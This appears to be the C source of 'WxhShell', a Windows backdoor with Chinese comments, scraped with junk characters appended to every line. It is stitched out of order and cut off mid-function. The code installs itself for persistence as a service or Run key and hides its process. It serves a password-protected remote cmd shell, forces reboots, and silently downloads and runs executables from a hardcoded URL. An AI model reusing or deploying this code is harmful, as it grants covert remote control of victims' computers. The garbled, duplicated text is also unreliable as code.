    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (;3jmdJhK  
    if(Boot(SHUTDOWN)) ]]4E)j8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qn7e6u@V  
    else { z?^p(UH  
    closesocket(wsh); +TX]~k79Oq  
    ExitThread(0); _ev^5`>p/  
    } 60Z)AQs;+J  
    break; 2},}R'aR  
    } y;H 3g#  
  // 获取shell sQvEUqy9  
  case 's': { g;pymz  
    CmdShell(wsh); wP i=+  
    closesocket(wsh); |V& k1{V  
    ExitThread(0); D~Su82 2  
    break; 6lPGop]js]  
  } d?>sy\{2  
  // 退出 qJ !xhf1  
  case 'x': { Q1rwTg\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xab[  
    CloseIt(wsh); H>B:jJf  
    break; %K%z<R8  
    } |@ + x9|'W  
  // 离开 Y9u2:y!LdL  
  case 'q': { p0/I}n4<5n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4PdFq*A  
    closesocket(wsh); & 3gni4@@  
    WSACleanup(); rRMC< .=  
    exit(1); ,SBL~JJ  
    break; ~_q\?pw<$L  
        } h*Ej}_  
  } ~ rRIWfhb  
  } @!-= :<h  
nV<YwqK  
  // 提示信息 +um; eL7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7 9Iz,_  
} e2;"> tp6?  
  } %n( s;/_  
]}9EBf  
  return; umi#Se3&  
} T+\BX$w/4e  
p7z#4 GW  
// shell模块句柄 /];F4AO5  
int CmdShell(SOCKET sock) `jJb) z3D  
{ 6Cibc .vt  
STARTUPINFO si; C'{Z?M>  
ZeroMemory(&si,sizeof(si)); A2B&X}K|U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L Nj|t)Ov  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i'a M#4V  
PROCESS_INFORMATION ProcessInfo; +q3W t|  
char cmdline[]="cmd"; <#c2Hg%jh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <4Ak$ E %"  
  return 0; ( \]_/ W  
} 1 @/+ c  
'0[l'Dt'  
// 自身启动模式 k|w6&k3  
int StartFromService(void) !OiP<8 ,H  
{ xa K:@/  
typedef struct BKN]DxJ6  
{ [}FP_Su$6  
  DWORD ExitStatus; J?%Z7&/M>  
  DWORD PebBaseAddress; Y#uf 2>J  
  DWORD AffinityMask; eM8u ;i  
  DWORD BasePriority; %F03cI,  
  ULONG UniqueProcessId; Nz2}Ma 2  
  ULONG InheritedFromUniqueProcessId; z2-=fIr.h  
}   PROCESS_BASIC_INFORMATION; :kgwKuhL  
vq x;FAqZ  
PROCNTQSIP NtQueryInformationProcess; ym-212wl  
]Dx5t&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c!s{QWd%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dlyE2MiL:  
!DLIIKO78  
  HANDLE             hProcess; ~aBALD0D;  
  PROCESS_BASIC_INFORMATION pbi; t@b';Cuv  
P[^!Uq[0n7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V<+d o|@F  
  if(NULL == hInst ) return 0; U%2pbGU  
?eeE[F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }Vg &9HY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0^zu T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ! G,Ru~j5:  
Rg+V;C C~  
  if (!NtQueryInformationProcess) return 0; M7UVL&_z%  
C#;}U51:t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  _8t{4C  
  if(!hProcess) return 0; DOf[?vbu  
z9E*Mh(NE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |7%M:7 Q  
`[[ A 7  
  CloseHandle(hProcess); <&&xt ?I.  
\qPgQsy4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'IrwlS  
if(hProcess==NULL) return 0; [&mYW.O<  
kzs}U'U  
HMODULE hMod; nLZT3`@~,  
char procName[255]; VU>s{_|{  
unsigned long cbNeeded; 8YI.f  
.F=15A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?&Y3Fr)%  
]# hT!VOd  
  CloseHandle(hProcess); m .2)P~a  
AuZ?~I1  
if(strstr(procName,"services")) return 1; // 以服务启动 xe)< )y  
l\8 l.xP  
  return 0; // 注册表启动 7QiJ1P.z  
} C._I\:G^  
p-U'5<n  
// 主模块 xBGSj[1`i  
int StartWxhshell(LPSTR lpCmdLine) 9.5hQZ  
{ KZV$rJ%G  
  SOCKET wsl; wL 5p0Xl  
BOOL val=TRUE; O2{_:B>K[  
  int port=0; &o/&T{t}  
  struct sockaddr_in door; (bo{vX  
Rk fr4  
  if(wscfg.ws_autoins) Install(); >u5}5OP7  
{]-nYHGL  
port=atoi(lpCmdLine); wxPg*R+t  
~AuvB4xe~  
if(port<=0) port=wscfg.ws_port; T8YqCT"EA<  
?Gr<9e2Eo  
  WSADATA data; `xbk)oW#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DC`6g#*<  
=Fea vyx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hMw}[6m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K)GC&%_$O  
  door.sin_family = AF_INET; LJZEM;;}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3 Yl[J;i  
  door.sin_port = htons(port); hmkcW r`  
`A80""y:M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I_xJ[ALdm  
closesocket(wsl); ,=>O/!s  
return 1; ?MeP<5\A  
} s4SR6hBO  
ZvNXfC3Ia  
  if(listen(wsl,2) == INVALID_SOCKET) { LnZz=  
closesocket(wsl); +C\?G/  
return 1; J#@ "Yb  
} O\OG~`HBN  
  Wxhshell(wsl); R|!4Y`  
  WSACleanup(); c<JJuG  
& A9psc(,&  
return 0; hU G Iy(  
$yaE!.Kc  
} $Ry NM2YI  
S%&l(=0X  
// 以NT服务方式启动 e~rBV+f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  =sG(l  
{ TaM,9MAu  
DWORD   status = 0; 9FK:lFGD  
  DWORD   specificError = 0xfffffff; v-G(bw3  
&;9<a^td  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dJNYuTZ'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 94nvh:n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :Np&G4IM>  
  serviceStatus.dwWin32ExitCode     = 0; QS=n 50T,  
  serviceStatus.dwServiceSpecificExitCode = 0; 0]>p|m9K^<  
  serviceStatus.dwCheckPoint       = 0; `34[w=Zm  
  serviceStatus.dwWaitHint       = 0; o/)\Q>IY  
=K8`[iH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &B3\;|\  
  if (hServiceStatusHandle==0) return; aeUm,'Y$  
{!oO>t  
status = GetLastError(); MzK&Jh  
  if (status!=NO_ERROR) @gX@mT"  
{ ~sSB.g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zi*D8!_C  
    serviceStatus.dwCheckPoint       = 0; ]]%C\Ryy}  
    serviceStatus.dwWaitHint       = 0; ` S85i*  
    serviceStatus.dwWin32ExitCode     = status; , st4K;-  
    serviceStatus.dwServiceSpecificExitCode = specificError; j-{WPJa4\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \UB<'~z6!  
    return; O gHWmb  
  } ,rX!V=Z5  
U?|s/U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i@B5B2  
  serviceStatus.dwCheckPoint       = 0; ;e jC:3yO  
  serviceStatus.dwWaitHint       = 0; HM[BFF[;/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8KoPaq   
} 1YnDho;~  
kt;X|`V{5z  
// 处理NT服务事件,比如:启动、停止 'inWV* P*g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M6?Qw=  
{ Hh!x&;x}  
switch(fdwControl) mbS &>  
{ AH#e>kU^  
case SERVICE_CONTROL_STOP: CtSAo\F  
  serviceStatus.dwWin32ExitCode = 0; SH}O?d\Q:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'm/b+9?.  
  serviceStatus.dwCheckPoint   = 0; .2Rh_ful  
  serviceStatus.dwWaitHint     = 0; OB$A"XGAEV  
  { >/'WU79TYE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \*_a#4a  
  } QL\'pW5  
  return; 3{$c b"5  
case SERVICE_CONTROL_PAUSE: T_gW't>   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HDy[/7"  
  break; {ZfTUt)-P  
case SERVICE_CONTROL_CONTINUE: /-4%ug tD$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ga!t:O@w  
  break; Q?Q!D+~mND  
case SERVICE_CONTROL_INTERROGATE: [{'` |  
  break; d+z8^$z"  
}; hfVJg7-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `43E-'g  
} ofRe4 *\j  
4fp}`U  
// 标准应用程序主函数 _?mu2!X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `Y8 F}%i[  
{ yA =#Ji  
$M#G;W5c  
// 获取操作系统版本 1@;Dn'  
OsIsNt=GetOsVer(); arRb q!mO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <D!"<&N  
eY;XF.mF  
  // 从命令行安装 +<&_1% 5+  
  if(strpbrk(lpCmdLine,"iI")) Install(); sYYNT*  
GK~uoz:^O  
  // 下载执行文件 q\/ph(HF  
if(wscfg.ws_downexe) { KZ>cfv-&a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y2W|b5  
  WinExec(wscfg.ws_filenam,SW_HIDE); )pbsvR_  
} +d>?aqI\A  
yX0n yhq  
if(!OsIsNt) { F}wy7s2i  
// 如果时win9x,隐藏进程并且设置为注册表启动 T]HeS(  
HideProc(); E{k$4  
StartWxhshell(lpCmdLine); 3f@@|vZF  
} kNR -eG  
else TkBHlTa"=  
  if(StartFromService()) u%!/-&?wF  
  // 以服务方式启动 %|AebxB'o  
  StartServiceCtrlDispatcher(DispatchTable); L`NY^  
else z{`K_s%5  
  // 普通方式启动 0"}J!c<g  
  StartWxhshell(lpCmdLine); N?`V;`[  
FUzN }"\1  
return 0; ~@=(#tO.  
} 4Oo{\&(  
eu={6/O  
B>.x@(}V~  
M#n lKj<  
=========================================== e`n+U-)z  
YLJ^R$pi  
6S`0<Z;;/  
/| q .q  
VWq]w5oQO  
ls7eypKR  
" V'hb 4}@  
t:MSV?  
#include <stdio.h> <Pzy'9  
#include <string.h> `AYq,3V  
#include <windows.h> ])}a^]0q  
#include <winsock2.h> G %'xEr0n  
#include <winsvc.h> m g,1*B'  
#include <urlmon.h> #u}%r{T  
{{jV!8wK  
#pragma comment (lib, "Ws2_32.lib") 85YUqVi9  
#pragma comment (lib, "urlmon.lib") gk6UV2nE?  
oNZ_7tU  
#define MAX_USER   100 // 最大客户端连接数 AdVc1v&>  
#define BUF_SOCK   200 // sock buffer s$).Z(6  
#define KEY_BUFF   255 // 输入 buffer ]?pQu'-(  
/a'1 W/^2  
#define REBOOT     0   // 重启 ^|H={pd'c0  
#define SHUTDOWN   1   // 关机 N+'j on}U  
P 0e-v0  
#define DEF_PORT   5000 // 监听端口 U@M3.[jw  
#~!"`B?#*  
#define REG_LEN     16   // 注册表键长度 xNzGp5H  
#define SVC_LEN     80   // NT服务名长度 kk %32(By  
]I[~0PCSX  
// 从dll定义API $c9-Q+pZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VGmvfhf#"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &'SD1m1P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,;_+o]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T1]?E]m{  
s{-gsSmE  
// wxhshell配置信息 fC[za,PXaE  
struct WSCFG { `&M,B=E  
  int ws_port;         // 监听端口 vd{QFJ  
  char ws_passstr[REG_LEN]; // 口令 Ut;`6t  
  int ws_autoins;       // 安装标记, 1=yes 0=no ")T\_ME  
  char ws_regname[REG_LEN]; // 注册表键名 $iu[-my_  
  char ws_svcname[REG_LEN]; // 服务名 8.i4QaU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !R=@Nr>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qOwql(vX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  Y !?'[t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 93>4n\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x@t?7 o\&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f#\YX tR,k  
1z? }'&:  
}; <Dd>- K  
J;C:nE|V  
// default Wxhshell configuration 7l D-|yx  
struct WSCFG wscfg={DEF_PORT, [d: u(  
    "xuhuanlingzhe", BmG(+;;&  
    1, QO2cTk m  
    "Wxhshell", +(W1x C0  
    "Wxhshell", ']r8q %  
            "WxhShell Service", 9 r!zYZ`)  
    "Wrsky Windows CmdShell Service", J@s>Pe)  
    "Please Input Your Password: ", V ~C$|+>e  
  1, ;2p+i/sVj  
  "http://www.wrsky.com/wxhshell.exe", .T| }rB<c  
  "Wxhshell.exe" (N7 uaZ?Z  
    }; ;mkkaW,D*  
,`@pi@<"#  
// 消息定义模块 MUO<o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9a}9cMJ^"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YmziHns`b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [nTI\17iA  
char *msg_ws_ext="\n\rExit."; Zw.8B0W  
char *msg_ws_end="\n\rQuit."; cHs3:F~~  
char *msg_ws_boot="\n\rReboot..."; `(e :H  
char *msg_ws_poff="\n\rShutdown..."; ZJYn[\]  
char *msg_ws_down="\n\rSave to "; \N,ox(f?gW  
c3$T3Lu1  
char *msg_ws_err="\n\rErr!"; ~r1pO#r-  
char *msg_ws_ok="\n\rOK!"; szI7 I$Qb  
f"Zl JVa  
char ExeFile[MAX_PATH]; A,}M ^$@  
int nUser = 0; J|`0GDSn  
HANDLE handles[MAX_USER]; (l{vlFWd  
int OsIsNt; TNX9Z)=>g  
|#oS7oV(  
SERVICE_STATUS       serviceStatus; xa>| k>I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =Zd(<&B K  
w!.@64-  
// 函数声明 LG #^g6P  
int Install(void); E+f)Zg :  
int Uninstall(void); G t w>R  
int DownloadFile(char *sURL, SOCKET wsh); 2jsbg{QS#_  
int Boot(int flag); +P/kfY"  
void HideProc(void); p"g|]@m  
int GetOsVer(void); }9~^}99}  
int Wxhshell(SOCKET wsl); );5o13h2  
void TalkWithClient(void *cs); __=H"UhWv  
int CmdShell(SOCKET sock); _P>YG<*"kQ  
int StartFromService(void); ([>ecS@eO  
int StartWxhshell(LPSTR lpCmdLine); )!T~l(g  
swKkY`g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q7R]!zk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S;|:ci<[=  
S@qp_!  
// 数据结构和表定义 <`H0i*|Ued  
SERVICE_TABLE_ENTRY DispatchTable[] = ;nY#/%f  
{ +#O+%!  
{wscfg.ws_svcname, NTServiceMain}, $.G 7Vt  
{NULL, NULL} S,Y|;p<+^  
}; jc^QWK*q  
1b,a3w(:1  
// 自我安装 -yqsJGY  
int Install(void) |)-kUu  
{ )*')  
  char svExeFile[MAX_PATH]; _z\/{  
  HKEY key; 5!-TLwl`j\  
  strcpy(svExeFile,ExeFile); bJ^JK  
zWsr|= [  
// 如果是win9x系统,修改注册表设为自启动 jHLs 5%  
if(!OsIsNt) { %@$UIO,(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3h@]cWp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lqzt[zgN  
  RegCloseKey(key); gI+8J.AG=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ys_2?uv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h Yu6PWK  
  RegCloseKey(key); ~9X^3.nI  
  return 0; <izQ]\kL  
    } -<iP$,bq72  
  } O-iE0t  
} <p@Cx  
else { %#6@PQ[R.  
=c8}^3L~7  
// 如果是NT以上系统,安装为系统服务 N&9o  1_}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _Q V=3UWP  
if (schSCManager!=0) &L o TO+  
{ '&>"`q  
  SC_HANDLE schService = CreateService ^-o{3Q(w  
  ( G0FzXtu)q  
  schSCManager, xtV+Le%  
  wscfg.ws_svcname, ]#/nn),Z  
  wscfg.ws_svcdisp, &kb`)F3nU  
  SERVICE_ALL_ACCESS, FD=% 4#|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !MbzFs~  
  SERVICE_AUTO_START, 86&M Zdv6  
  SERVICE_ERROR_NORMAL, rd <m:r  
  svExeFile, QcegT/vO  
  NULL, 4GYi'  
  NULL, }=R]<`Sj.j  
  NULL, ,'L>:pF3  
  NULL, 1gI7$y+?  
  NULL `oRyw6Sko  
  ); #w$Y1bjn  
  if (schService!=0) 5LeZ ?'"c  
  { }{0}$#z u  
  CloseServiceHandle(schService); So%X(, |  
  CloseServiceHandle(schSCManager); Im]@#X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7iB!Uuc  
  strcat(svExeFile,wscfg.ws_svcname); ?%kgfw@)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u6iW1,#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bG;fwgAr  
  RegCloseKey(key); \Ne`9k  
  return 0; \!KE_7HRu  
    } ucCf%T\:  
  } d0J /"<  
  CloseServiceHandle(schSCManager); .)E#*kLWR  
} 7?lz$.*Avp  
} Bk8}K=%w  
}D1x%L  
return 1; iFIGJS  
} LKN7L kl  
@2(u=E:^  
// 自我卸载 {X,%GI  
int Uninstall(void) p.8bX  
{ r[9m-#)>  
  HKEY key; >t+ ENYb  
<^S\&v1C_  
if(!OsIsNt) { F`=p/IAJK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4[ uqsJB  
  RegDeleteValue(key,wscfg.ws_regname); ,GOIg|51  
  RegCloseKey(key); .G/Rh92  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EKc<|e,F  
  RegDeleteValue(key,wscfg.ws_regname); VoCg,gow  
  RegCloseKey(key); fy+5i^{=  
  return 0; @52#ZWy  
  } vNi;)"&*  
} Q  :kg  
} jN6V`Wh_  
else { u%-]-:c  
(Jp~=6&lKf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rgy I:F.  
if (schSCManager!=0) zAB = >v  
{ q<AnWNheE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !ooi.Oz*Tu  
  if (schService!=0) @@R Mm$  
  { <4{m99  
  if(DeleteService(schService)!=0) { WcmX"{  
  CloseServiceHandle(schService); |v+z*}fKw  
  CloseServiceHandle(schSCManager); wv~:^v'  
  return 0; he|Q (?  
  } Mi]^wCF  
  CloseServiceHandle(schService); 7d R?70Sz  
  } Nl[&rZ-&  
  CloseServiceHandle(schSCManager); A:Wr5`FJ  
} _cvX$(Sg  
} MrzD ah9UG  
T^Ia^B-%}g  
return 1; )Zr\W3yWX  
} .8W-,R4  
<oJ?J^  
// 从指定url下载文件 t$du|q(  
int DownloadFile(char *sURL, SOCKET wsh) rO>'QZ%  
{ 8)bR\s   
  HRESULT hr; pk9Ics;y  
char seps[]= "/"; KGM__ZO.  
char *token; N<i5X.X  
char *file; oaqH@`  
char myURL[MAX_PATH]; m|W17LhW{  
char myFILE[MAX_PATH]; H;4QuB'^  
,B'=$PO%  
strcpy(myURL,sURL); y:98}gW`n  
  token=strtok(myURL,seps); AC1RP`c  
  while(token!=NULL) K7`6G[RMb  
  { hUi@T}aA|  
    file=token; DAb/B  
  token=strtok(NULL,seps); r|UJJ9i  
  } 1l$ C3c  
%4m Nk}tyH  
GetCurrentDirectory(MAX_PATH,myFILE); g8uqW1E^  
strcat(myFILE, "\\"); =oI[E~1<  
strcat(myFILE, file); z(LR!hr  
  send(wsh,myFILE,strlen(myFILE),0); KxK,en4)+  
send(wsh,"...",3,0); cZ_)'0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7ivo Q  
  if(hr==S_OK) <z\SKR[  
return 0; |Jn|GnM  
else Is4,QnY_[  
return 1; g0j)k6<6(Y  
QO}~"lMj  
} g6%]uCFB  
ns>$  
// 系统电源模块 A .&c>{B7  
int Boot(int flag) w@^J.7h^  
{ *@''OyL  
  HANDLE hToken; boEQI=!j\+  
  TOKEN_PRIVILEGES tkp; S?b&4\:  
N_K9H1 r  
  if(OsIsNt) { uQvTir*e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .4\I?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y M:9m)  
    tkp.PrivilegeCount = 1; 9k ~8n9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nDdY~f.B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~'lT8 n_  
if(flag==REBOOT) { IOZw[9](+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  q6F1Rt  
  return 0; < 8' b  
} r1< 'l  
else { yF(9=z"?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A#cFO)"  
  return 0; i'li;xUhZ  
} B za<.E=  
  } XiTi3vCe  
  else { y!gPBkG&3n  
if(flag==REBOOT) { xR0*w7YE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e-y$&[  
  return 0; ?YR;o4  
} d.+  
else { v_5qE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ru 6`Z+p  
  return 0; [<@T%yq  
} UxNn5(:sM@  
} I>FL&E@K  
#ae?#?/"  
return 1; N62;@Z\7  
} ]|g2V a~-  
n{!{,s  
// win9x进程隐藏模块 39 }e }W"  
void HideProc(void) ,;}   
{ w{DU<e:  
"'[M~Js  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s`=| D'G(=  
  if ( hKernel != NULL ) 9f0`HvHC  
  { y[$UeE"0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Bbs1U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HjA~3l7  
    FreeLibrary(hKernel); E~}H,*)  
  } $a~  
N9M}H#  
return; TNqL ')f  
} 4j3_OUwWZx  
ivgX o'=  
// 获取操作系统版本 ;xiN<f4B  
int GetOsVer(void) )8oyo~4?  
{ .t\J @?Z  
  OSVERSIONINFO winfo;  Culv/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >P j#?j*Y  
  GetVersionEx(&winfo); |_p7vl"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T3oFgzoO  
  return 1; e=VSO!(rY  
  else <~uzHg%Y  
  return 0; NxnR QS  
} tZ[9qms^_  
d [l8qaD  
// 客户端句柄模块 B bmw[Qf\  
int Wxhshell(SOCKET wsl) @@\qso  
{ DL V ny]  
  SOCKET wsh; h81giY]  
  struct sockaddr_in client; 'Grej8  
  DWORD myID; (nLzWvN  
m#BXxS#B<_  
  while(nUser<MAX_USER) EwzcB\m  
{ 3\Xk)a_  
  int nSize=sizeof(client); ^Ak?2,xB#+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @Dsw.@/  
  if(wsh==INVALID_SOCKET) return 1; `/ T.u&QF  
1;~s NSTo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W^3 Jg2gE  
if(handles[nUser]==0) \"ogQnmz  
  closesocket(wsh); O<p=&=TD7  
else bJMsB|r  
  nUser++; t }4  
  } b)IQa,enH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8g8eY pG  
%TI3Eb  
  return 0; jX4$PfOhR  
} ^!^M Gzu  
r jn:E  
// 关闭 socket ^E/6 vG  
void CloseIt(SOCKET wsh) OH>Gc-V  
{ vUbgSI  
closesocket(wsh); -`5]%.E&8  
nUser--; y$fMMAN7  
ExitThread(0); Sm {Sq  
} R(0[bMr3Q  
4PD5i  
// 客户端请求句柄 =A,T:!}'  
void TalkWithClient(void *cs) '['%b  
{ uM 'n4oH  
*Jcd_D\-(1  
  SOCKET wsh=(SOCKET)cs; 2|?U%YrHWs  
  char pwd[SVC_LEN]; IY.M#Q ]  
  char cmd[KEY_BUFF]; J[l7p6xk  
char chr[1]; F/J s K&&  
int i,j; rCqwJoC`v  
a\m=E#G  
  while (nUser < MAX_USER) { =4+2y '  
y`m0/SOT  
if(wscfg.ws_passstr) { ASEKP(]v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3>3t(M |  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c[,Rh f  
  //ZeroMemory(pwd,KEY_BUFF); ~ 1TT?H  
      i=0; V(K;Gc  
  while(i<SVC_LEN) { umuj>  
9+*{3 t  
  // 设置超时 Heqr1btK  
  fd_set FdRead; PSAEW.L  
  struct timeval TimeOut; .I|b9$V  
  FD_ZERO(&FdRead); Rm n|!C%%K  
  FD_SET(wsh,&FdRead); y)|d`qC\  
  TimeOut.tv_sec=8; N:64Gko"K  
  TimeOut.tv_usec=0; x2fqfrr_]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "PTEt{qn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SD~4CtlfI  
=@O&$&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %Qj$@.*:  
  pwd=chr[0]; 8[@Y`j8  
  if(chr[0]==0xd || chr[0]==0xa) { ~a  V5  
  pwd=0; VXk[p  
  break; lrkgsv6  
  } LsGO~EiJ  
  i++; 3`D*AFQc  
    } `;G@qp:A  
Jon3ywd1Y  
  // 如果是非法用户,关闭 socket EpACd8Fb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $[HCetaqV  
} w$s6NBF7  
gZ>&cju  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n=DmdQ}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #(}{*d R  
ZX-A}  
while(1) { {7X9P<<L7  
jEx8G3EL  
  ZeroMemory(cmd,KEY_BUFF); j-aTpN  
$bpu  
      // 自动支持客户端 telnet标准   >G?*rg4  
  j=0; .0/"~5  
  while(j<KEY_BUFF) {  \v:Z;EbX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k=d _{2 ~  
  cmd[j]=chr[0]; sw1gpkX  
  if(chr[0]==0xa || chr[0]==0xd) { &)q>Z!C-l  
  cmd[j]=0; e GAto  
  break; m_  wvi  
  } DV?c%z`YO  
  j++; ae3 Gn }tf  
    } 0ZD)(ps|  
=<(6yu_  
  // 下载文件 `v(!IBP|  
  if(strstr(cmd,"http://")) { 9^sz,auB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /3Y"F"`M.  
  if(DownloadFile(cmd,wsh)) ~_CZ1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HYdt3GtJ?  
  else ZBK)rmhMx  
